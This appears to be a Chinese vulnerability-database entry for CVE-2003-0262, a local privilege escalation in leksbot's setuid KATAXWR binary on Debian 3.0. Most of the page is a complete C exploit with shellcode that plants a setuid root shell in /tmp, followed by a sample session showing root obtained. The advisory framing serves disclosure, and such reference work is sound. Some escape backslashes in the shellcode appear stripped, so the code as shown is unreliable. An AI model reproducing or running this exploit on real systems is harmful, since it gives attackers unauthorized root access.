Leksbot多个未明漏洞
漏洞ID | 1107305 | 漏洞类型 | 未知 |
发布时间 | 2003-05-06 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2003-0262 |
CNNVD-ID | CNNVD-200305-075 |
漏洞平台 | Linux | CVSS评分 | 7.2 |
|漏洞来源
|漏洞详情
DebianGNU/Linux中的leksbot1.2.3安装KATAXWR作为setuidroot,本地用户可以通过利用和升级权限有关的未知漏洞获取根权限,KATAXWR没有设计有该漏洞。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/7505/info
Multiple vulnerabilities have been reported for Leksbot. The precise nature of these vulnerabilities are currently unknown however, exploitation of this issue may result in an attacker obtaining elevated privileges. This is because in some installations, the Leksbot binary may be installed setuid.
*/
/* by gunzip
* KATAXWR/leksbot local root exploit
* for Debian Linux 3.0
* http://www.securityfocus.com/bid/7505
* change command if you don't like it (gives a root shell in /tmp/ash)
* http://members.xoom.it/gunzip . more to come
*/
#define COMMAND "cp /bin/ash /tmp && chmod 4755 /tmp/ash"
#define PATH "/usr/bin/KATAXWR"
#define ADDR 512
#define SIZE 4096
#define OFFSET 2700
char shellcode[] = /* taken from lsd-pl */
"xebx22" /* jmp <cmdshellcode+36> */
"x59" /* popl %ecx */
"x31xc0" /* xorl %eax,%eax */
"x50" /* pushl %eax */
"x68""//sh" /* pushl $0x68732f2f */
"x68""/bin" /* pushl $0x6e69622f */
"x89xe3" /* movl %esp,%ebx */
"x50" /* pushl %eax */
"x66x68""-c" /* pushw $0x632d */
"x89xe7" /* movl %esp,%edi */
"x50" /* pushl %eax */
"x51" /* pushl %ecx */
"x57" /* pushl %edi */
"x53" /* pushl %ebx */
"x89xe1" /* movl %esp,%ecx */
"x99" /* cdql */
"xb0x0b" /* movb $0x0b,%al */
"xcdx80" /* int $0x80 */
"xe8xd9xffxffxff" /* call <cmdshellcode+2> */
COMMAND;
static char cmd[SIZE];
main(int argc, char *argv[])
{
char buf[ADDR];
char egg[SIZE];
int i, offset ;
unsigned long ret ;
unsigned long sp = (unsigned long) &sp ;
printf("Local (possibly) root exploit for /usr/bin/KATAXWR (leksbot)n"
"tested on Debian 3.0 - usage: ./ex [offset] - by gunzipn");
if ( argv[1] ) offset = atoi( argv[1] ); else offset = OFFSET ;
ret = sp + offset ;
memset( cmd, 0x00, SIZE );
memset( buf, 0x00, ADDR );
memset( egg, 0x41, SIZE );
memcpy( &egg[ SIZE - strlen( shellcode ) - 1 ], shellcode, strlen( shellcode ));
memcpy( egg, "EGG=", 4 );
egg[ SIZE - 1 ] = 0 ;
putenv( egg );
for ( i=0; i < ADDR ; i += 4 ) *( unsigned long *)&buf[ i ] = ret;
*( unsigned long *)&buf[ ADDR - 4 ] = 0x00000000 ; /* :-? */
if (!(ret&0xff)||!(ret&0xff00)||!(ret&0xff0000)||!(ret&0xff000000)) {
printf("Return address contains null byte(s), change offset and retry.n");
exit( -1 );
}
printf( "retaddr=0x%.08x offset=%d len=%dn", (unsigned int)ret, offset, strlen( buf ));
snprintf ( cmd, SIZE - 4, " echo '%s' | %s", buf, PATH );
system( cmd );
}
/*
bash-2.05b$ ./a.out
retaddr=0xbffff668 offset=2700 len=508
Please insert the term
#dwsete tin simasia__#
Do you want to add an other term?(y-n)
bash-2.05b$ /tmp/ash
# id
uid=1002(test) gid=1002(test) euid=0(root) groups=1002(test)
*/
|参考资料
来源:DEBIAN
名称:DSA-299
链接:http://www.debian.org/security/2003/dsa-299
来源:XF
名称:kataxwr-gain-privileges(11945)
链接:http://xforce.iss.net/xforce/xfdb/11945
来源:BID
名称:7505
链接:http://www.securityfocus.com/bid/7505
相关推荐: phpCommunityCalendar身份认证绕过漏洞
phpCommunityCalendar身份认证绕过漏洞 漏洞ID 1197875 漏洞类型 未知 发布时间 2005-09-14 更新时间 2005-09-14 CVE编号 CVE-2005-2881 CNNVD-ID CNNVD-200509-118 漏洞…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666